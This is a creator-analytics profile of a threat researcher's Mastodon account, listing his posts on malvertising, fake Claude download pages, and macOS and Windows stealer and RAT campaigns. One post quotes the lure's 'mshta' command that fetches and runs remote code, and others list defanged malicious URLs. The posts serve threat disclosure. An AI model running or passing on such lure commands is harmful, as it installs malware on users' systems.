Brad✓

Mastodon @malware_traffic@infosec.exchange

⚔ Compare ☆ Watch Own this channel?

🔄 Data last refreshed 16 hours ago

🤝

Make a deal with Brad

🔒 Paid proposals held safely in escrow — released only when the work's approved.

Followers

3.6K

Account age

3 yrs

🧰 Free analysis for Brad

🕵️ Fake follower check 📊 Engagement rate 💰 What they charge

Known for

2026-06-09 (Tuesday): Documented an Atomic macOS ( #AMOS ) Stealer infection in my lab. A #pcap of the traffic, the associated malware, and a list of indicators are available at https://www.malware-traffic-analysis.net/2026/06/09/index.html
Of note, I documented an earlier AMOS Stealer infection in April 2026 that I didn't realize was AMOS Stealer at the time. That earlier one is at https://www.m

8 views 2026-06-09 (Tuesday): Documented an Atomic macOS ( #AMOS ) Stealer infection in my lab. A #pcap of the traffic, the associated malware, and a list of indicators are available at https://www.malware-traffic-analysis.net/2026/06/09/index.html Of note, I documented an earlier AMOS Stealer infection in April 2026 that I didn't realize was AMOS Stealer at the time. That earlier one is at https://www.m

2026-05-11 (Monday) #Malvertizing: Another ad in Google search results leads to a page impersonating a Claude download but distributing #macOS #malware. A #pcap of the infection traffic, some of the indicators and associated files are available at https://www.malware-traffic-analysis.net/2026/05/11/index.html

6 views 2026-05-11 (Monday) #Malvertizing: Another ad in Google search results leads to a page impersonating a Claude download but distributing #macOS #malware. A #pcap of the infection traffic, some of the indicators and associated files are available at https://www.malware-traffic-analysis.net/2026/05/11/index.html

5 views Dealing with AI slop is so draining.

2026-05-22 (FRIDAY): PAGE IMPERSONATING CLAUDE DOWNLOAD
hxxps[:]//fluxcipher38[.]com/
FOR WINDOWS, IT ASKS VIEWERS TO RUN THIS IN POWERSHELL:
mshta hxxps[:]//zealpraxis.com/8761886
SANDBOX ANALYSIS:
- https://app.any.run/tasks/d5bd8fa7-d6cb-4944-a816-3cb2b65e4255
- https://tria.ge/260522-195tcafv6p/
TRAFFIC FROM THE INFECTION:
hxxps[:]//zealpraxis[.]com/8761886
hxxps[:]//6ryuefl.creativecommunityi

4 views 2026-05-22 (FRIDAY): PAGE IMPERSONATING CLAUDE DOWNLOAD hxxps[:]//fluxcipher38[.]com/ FOR WINDOWS, IT ASKS VIEWERS TO RUN THIS IN POWERSHELL: mshta hxxps[:]//zealpraxis.com/8761886 SANDBOX ANALYSIS: - https://app.any.run/tasks/d5bd8fa7-d6cb-4944-a816-3cb2b65e4255 - https://tria.ge/260522-195tcafv6p/ TRAFFIC FROM THE INFECTION: hxxps[:]//zealpraxis[.]com/8761886 hxxps[:]//6ryuefl.creativecommunityi

📊 Post engagement

Avg engagement / post

0.1%

Engagement vs followers

Oct 2022

On Mastodon since

🔥 Top post: 2026-06-09 (Tuesday): Documented an Atomic macOS ( #AMOS ) Steal · 8 likes + reposts

📊 Activity & format

Posting cadence

1.1 / week

A lower-frequency account — each post lands with more weight.

Content mix

Mostly images

Recent: 2 text · 10 image · 0 video.

Follower / following

78×

Follows 46 back. A strong ratio — an audience that follows them, not a follow-for-follow network.

Recent posts

View on Mastodon ↗

🔥 Top post 2026-06-09 (Tuesday): Documented an Atomic macOS ( #AMOS ) Stealer infection in my lab. A #pcap of the traffic, the associated malware, and a list of indicators are available at https://www.malware-traffic-analysis.net/2026/06/09/index.html Of note, I documented an earlier AMOS … ★ 8

My coworkers and I have been talking about the new "Seems like AI Slop" reporting feature for content on LinkedIn. https://www.linkedin.com/posts/hsrinivasan1_ai-slop-is-a-top-priority-for-all-of-us-share-7488612006321889282-Ps8Z/ But lazi… ★ 3

Dealing with AI slop is so draining. ★ 5

2026-05-29 (FRIDAY): MALICIOUS AD FOR MACOS MALWARE ADVERTISER: hxxps[:]//adstransparency.google[.]com/advertiser/AR16861045154503458817?origin=ata&region=anywhere AD URL: hxxps[:]//www.google[.]com/aclk?sa=L&ai=DChsSEwjgg5qGst-UAxWWcn8AHZ… ★ 2

2026-05-22 (FRIDAY): PAGE IMPERSONATING CLAUDE DOWNLOAD hxxps[:]//fluxcipher38[.]com/ FOR WINDOWS, IT ASKS VIEWERS TO RUN THIS IN POWERSHELL: mshta hxxps[:]//zealpraxis.com/8761886 SANDBOX ANALYSIS: - https://app.any.run/tasks/d5bd8fa7-d6c… ★ 4

2026-05-22 (Friday): #SmartApeSG --> Unidentified #RAT --> #NetSupport RAT A #pcap of the traffic, associated files, and a list of IOCs are available at https://www.malware-traffic-analysis.net/2026/05/22/index.html cc: @netresec this is t… ★ 1

2026-05-20 (Wednesday): #SmartApeSG #ClickFix activity SMARTAPESG TRAFFIC TRIGGERED FROM LEGITIMATE BUT COMPROMISED SITE: - hxxps[:]//vividanchorlab[.]top/auth/rate-script.js - hxxps[:]//vividanchorlab[.]top/auth/dashboard-schema.php - hxx… ★ 3

2026-05-18 (MONDAY): MACOS MALWARE EXAMPLE 1 OF 2 URL FOR FAKE CLAUDE PAGE: hxxps[:]//sites.google[.]com/view/clavdemacos-version18?gad_source=1&gad_campaignid=23854460313&gbraid=0AAAAABekpSlj3x904Fs5OeNl0vden9ewA&gclid=EAIaIQobChMIn6r5xv3… ★ 4 It would be funner if it was actually pronounced "shub," because then I could do my impersonation of Sean Connery from the SNL sketches for Celebrity Jeopardy... "I onesh caught a shub shtealer, back on my hunt for red Ohktobah when I was … ★ 3

2026-05-15 (Friday): #SHubStealer from fake installation page at 4wsperfiles[.]com. C2 server: soopeqir2[.]com Initial download URL from the copy/pasted script: hxxps[:]//soopeqir2[.]com/debug/loader.sh?build=dd894030fd54280e0bc95a80d2e261… ★ 2

026-05-12 (TUESDAY): KONGTUKE CAMPAIGN DISTRIBUTES UNIDENTIFIED MALWARE EXAMPLE OF KONGTUKE URLS LEADING TO FAKE CAPTCHA/HUMAN VERIFICATION PAGE: - hxxps[:]//bradtte[.]lol/file.js - hxxps[:]//bradtte[.]lol/api/v1/session - hxxps[:]//bradtt… ★ 2

2026-05-11 (Monday) #Malvertizing: Another ad in Google search results leads to a page impersonating a Claude download but distributing #macOS #malware. A #pcap of the infection traffic, some of the indicators and associated files are avai… ★ 6

🐘 Community & instance

Home server

infosec.exchange

A cybersecurity & infosec server — its members and audience skew toward that niche, so expect a community-aligned, engaged following.

✅ Link-verified

Verified link

Proved ownership of a website linked on their profile — Mastodon's green-check verification, a real identity signal rather than a paid badge.

On Mastodon since

Oct 2022

Joined in the Twitter-exodus wave of late 2022 — part of the migration that made Mastodon a real destination.

💡 Facts

🗓️Joined Mastodon in 2022 — 3 years ago.

👁️Averages 4 views per post.

📤Posts about 1.1× per week.

🛡️ Audience credibility

58/100

Fair Credibility score

81%

Real Real audience

Low Fake-follower risk

High Data confidence

Est. 81% real, active audience · Low fake-follower risk.
Low engagement (~0.1% of followers engage each post) — a sign of an inflated or inactive audience.
Organic base — far more followers than accounts it follows.
Verified account.
Established account (3+ years old).

Heuristic estimate from engagement, follower ratios, account age & growth — a screening signal, not a guarantee.

About

Sharing information on malicious network traffic and malware samples.

📸 Gallery

🔀 Audience overlap

Estimated

Estimated shared audience with similar creators — useful for avoiding overlap (or doubling down) when planning a campaign.

Lori Emerson 18%

Jonty Wareing 18%

Ellie Huxtable 18%

Joe Ressington 16%

Emily Atkin 14%

Stanislas :NotLikeThis: 14%

More like this

Find more →

Mastodon

Lori Emerson

@loriemerson@post.lurk.org

Stanislas :NotLikeThis: ✓

@joeress@mastodon.social

Brad✓

Make a deal with Brad

Known for

📊 Post engagement

📊 Activity & format

Recent posts

🐘 Community & instance

💡 Facts

🛡️ Audience credibility

About

📸 Gallery

🔀 Audience overlap

More like this

✉ Message Brad

🎤 Event / appearance with Brad